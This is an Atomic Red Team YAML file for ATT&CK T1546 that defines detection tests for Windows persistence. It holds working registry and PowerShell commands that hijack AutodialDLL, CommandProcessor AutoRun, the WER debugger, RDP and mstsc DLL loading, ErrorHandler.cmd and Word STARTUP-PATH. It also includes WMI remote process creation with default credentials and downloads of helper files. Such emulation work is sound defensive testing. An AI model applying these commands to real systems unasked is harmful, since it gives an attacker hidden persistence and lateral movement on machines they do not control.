attack_technique: T1546 display_name: Event Triggered Execution atomic_tests: - name: Persistence with Custom AutodialDLL auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b description: | The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing. [Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/) supported_platforms: - windows dependencies: - description: | AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll prereq_command: | if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll" executor: command: | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll cleanup_command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll name: powershell elevation_required: true - name: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation) auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: |- New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: |- Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell elevation_required: true - name: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation) auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01 description: |- An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433) supported_platforms: - windows input_arguments: command: description: Command to Execute type: string default: notepad.exe executor: command: |- $path = "HKCU:\Software\Microsoft\Command Processor" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String" cleanup_command: |- Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore name: powershell - name: WMI Invoke-CimMethod Start Process auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577 description: | The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process. supported_platforms: - windows input_arguments: dest: description: destination computer name type: string default: localhost password: description: password for account type: string default: P@ssword1 username: description: account to use type: string default: Administrator process: description: process to spawn type: string default: calc.exe executor: name: powershell elevation_required: true command: | # Set the remote computer name and credentials $RemoteComputer = "#{dest}" $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword # Create a CIM session $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential # Define the process you want to start $ProcessToStart = "#{process}" # Invoke the Create method on the Win32_Process class to start the process $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart} # Check the result if ($Result.ReturnValue -eq 0) { Write-Host "Process started successfully with Process ID: $($Result.ProcessId)" } else { Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)" } # Clean up the CIM session Remove-CimSession -CimSession $CimSession - name: Adding custom debugger for Windows Error Reporting auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302 description: | When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework supported_platforms: - windows executor: command: | reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f cleanup_command: | reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f name: command_prompt elevation_required: true - name: Load custom DLL on mstsc execution auto_generated_guid: 2db7852e-5a32-4ec7-937f-f4e027881700 description: | Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe supported_platforms: - windows input_arguments: dll_inf: description: custom DLL to be executed type: Path default: 'C:\Windows\System32\amsi.dll' executor: command: | reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f cleanup_command: |- reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f name: command_prompt elevation_required: true - name: Persistence using automatic execution of custom DLL during RDP session auto_generated_guid: b7fc4c3f-fe6e-479a-ba27-ef91b88536e3 description: |- When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary. supported_platforms: - windows executor: command: |- reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f cleanup_command: |- reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f name: command_prompt elevation_required: true - name: Persistence via ErrorHandler.cmd script execution auto_generated_guid: 547a4736-dd1c-4b48-b4fe-e916190bb2e7 description: | Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory. Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad. supported_platforms: - windows dependencies: - description: | ErrorHandler.cmd script must exist on disk at specified at PathToAtomicsFolder\T1546\bin\ErrorHandler.cmd prereq_command: | if (Test-Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd) { exit 0} else { exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1546\src\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/src/ErrorHandler.cmd" -OutFile "PathToAtomicsFolder\T1546\src\ErrorHandler.cmd" executor: command: | Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup cleanup_command: |- Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd name: powershell elevation_required: true - name: Persistence using STARTUP-PATH in MS-WORD auto_generated_guid: f0027655-25ef-47b0-acaf-3d83d106156c description: |- When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\\Word\Options\STARTUP-PATH and if it exists, it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx The registry key can be abused to load malware from the mentioned path. Reboot might be required. supported_platforms: - windows executor: command: |- reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f cleanup_command: |- reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f name: command_prompt elevation_required: true